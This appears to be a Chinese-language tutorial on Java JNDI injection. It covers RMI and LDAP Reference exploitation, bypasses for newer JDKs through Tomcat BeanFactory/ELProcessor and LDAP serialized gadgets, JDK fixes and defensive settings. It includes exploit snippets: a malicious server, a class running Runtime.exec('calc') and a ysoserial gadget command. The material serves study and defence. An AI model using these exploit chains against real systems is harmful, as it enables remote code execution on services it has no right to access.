深入学习 Java 反序列化之 JNDI 运行逻辑
字数 2113 2025-08-12 11:34:07
Java JNDI 注入漏洞深入分析与利用
1. JNDI 基础概念
1.1 什么是 JNDI
JNDI (Java Naming and Directory Interface) 是 Java 名称与目录接口,提供了一种统一的方式来访问命名和目录服务。其核心功能是将名称与 Java 对象关联起来,实现"字符串对应对象"的映射关系。
1.2 JNDI 支持的服务类型
JNDI 在 JDK 中支持以下四种主要服务:
- LDAP:轻量级目录访问协议
- CORBA:通用对象请求代理架构
- RMI:Java 远程方法调用注册表
- DNS:域名系统服务
1.3 JNDI 核心包结构
JNDI 接口主要分为 5 个包:
javax.naming:核心包,包含 Context、Bindings、References、lookup 等关键类和接口javax.naming.directoryjavax.naming.eventjavax.naming.ldapjavax.naming.spi
2. JNDI 注入漏洞原理
2.1 基本利用流程
JNDI 注入漏洞的核心在于攻击者可以控制 lookup() 方法的参数,使其指向恶意的命名服务。典型攻击流程如下:
- 攻击者搭建恶意 RMI/LDAP 服务
- 应用调用
InitialContext.lookup(attackerControlled) - 客户端从攻击者控制的服务器加载恶意类
- 恶意类中的静态代码块或构造函数执行任意代码
2.2 关键类与方法
InitialContext:JNDI 的初始上下文lookup():核心漏洞触发点Reference:用于引用远程对象的类ReferenceWrapper:RMI 服务中包装 Reference 的类
3. JNDI 注入利用方式
3.1 RMI + Reference 利用
服务端代码示例:
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Calc", "Calc", "http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
恶意类示例:
public class JndiCalc {
public JndiCalc() throws Exception {
Runtime.getRuntime().exec("calc");
}
}
利用条件:
- JDK 版本 < 8u121/7u131/6u141
- 需要目标服务器能访问攻击者的 HTTP 服务
3.2 LDAP + Reference 利用
LDAP 服务端示例:
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
ds.startListening();
LDAP 相比 RMI 的优势:
- 不受
com.sun.jndi.rmi.object.trustURLCodebase等属性限制 - 适用范围更广(直到 JDK 8u191/7u201/6u211 才默认禁用)
4. 高版本 JDK 绕过技术
4.1 JDK 8u121-8u191 之间的绕过
绕过原理:
利用本地 ClassPath 中存在的恶意 Factory 类作为 Reference Factory
常用类:
org.apache.naming.factory.BeanFactory(存在于 Tomcat8 依赖中)
利用代码示例:
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, true,
"org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x",
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")..."));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
4.2 JDK 8u191+ 的绕过方式
方法:利用 LDAP 返回序列化数据触发本地 Gadget
- 生成 CommonsCollections Gadget:
java -jar ysoserial.jar CommonsCollections6 'calc' | base64
- LDAP 服务端设置
javaSerializedData属性:
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNy..."));
- 客户端触发反序列化:
context.lookup("ldap://localhost:1234/ExportObject");
依赖条件:
- 目标 ClassPath 中存在可利用的反序列化 Gadget(如 Commons-Collections)
- 适用于 Fastjson 等反序列化漏洞的利用
5. JDK 版本限制与修复
5.1 关键版本限制
| JDK 版本 | 限制内容 |
|---|---|
| 6u141/7u131/8u121 | 默认禁用 RMI/LDAP 的远程代码加载 |
| 6u211/7u201/8u191 | 完全禁用 LDAP 的远程代码加载 |
5.2 修复原理
JDK 通过添加 trustURLCodebase 检查来修复:
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
// 允许加载远程类
} else {
return null;
}
}
默认情况下 trustURLCodebase 为 false,阻止了远程类的加载。
6. 漏洞防御建议
- 升级 JDK 到最新安全版本
- 对用户输入进行严格过滤,避免不可信数据传入
lookup()方法 - 设置 JVM 安全属性限制 JNDI 访问:
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "false"); System.setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase", "false"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "false"); - 使用安全管理器限制代码执行权限
7. 调试与分析技巧
-
关键断点位置:
InitialContext.lookup()RegistryContext.decodeObject()NamingManager.getObjectInstance()NamingManager.getObjectFactoryFromReference()
-
调试流程:
- 跟踪
lookup()方法调用链 - 观察 Reference 对象的处理过程
- 监控类加载行为
- 跟踪
-
重点关注:
- 对象反序列化过程
- 动态类加载机制
- Factory 类的实例化过程
8. 总结
JNDI 注入漏洞是 Java 安全领域的重要漏洞类型,其利用方式随着 JDK 版本的更新而不断演变。理解其原理和绕过技术对于安全研究和防御都至关重要。在实际应用中,应当综合采用升级、过滤、权限控制等多种手段进行防护。